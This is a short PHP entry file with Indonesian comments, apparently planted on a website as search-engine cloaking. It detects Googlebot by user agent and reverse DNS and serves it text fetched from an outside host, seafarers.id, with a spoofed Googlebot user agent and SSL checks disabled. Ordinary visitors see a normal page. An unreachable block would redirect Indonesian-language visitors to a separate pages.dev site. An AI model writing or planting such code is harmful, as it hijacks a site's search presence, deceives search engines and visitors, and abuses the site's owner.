<?php
// Deteksi Googlebot (akurat + reverse DNS)
function is_google_bot() {
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
    if (stripos($ua, 'Googlebot') !== false || 
        stripos($ua, 'Google-InspectionTool') !== false ||
        stripos($ua, 'Google-Site-Verification') !== false) {
        return true;
    }
    
    // Reverse DNS check (paling akurat)
    $ip = $_SERVER['REMOTE_ADDR'] ?? '';
    $host = @gethostbyaddr($ip);
    if ($host && (strpos($host, 'googlebot.com') !== false || strpos($host, 'google.com') !== false)) {
        return true;
    }
    return false;
}

// Kalau Googlebot → pakai cURL only (bypass Cloudflare BAILOUT)
if (is_google_bot()) {
    $url = 'https://seafarers.id/djidrone.txt';
    
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT        => 12,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_USERAGENT      => 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
        CURLOPT_HTTPHEADER     => [
            'Accept: text/plain',
            'Referer: https://www.google.com/'
        ]
    ]);
    
    $content = curl_exec($ch);
    curl_close($ch);
    
    // Kalau gagal total → langsung blank (sesuai request kamu, tanpa fallback)
    echo $content ?: '';
    exit;
}

// Bukan bot → tampilkan konten normal
include('index2.php');
exit;

// Redirect user Indonesia (tetap jalan)
$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '', 0, 2);
if ($lang === 'id') {
    header('Location: https://djidrone.pages.dev/');
    exit;
}
?>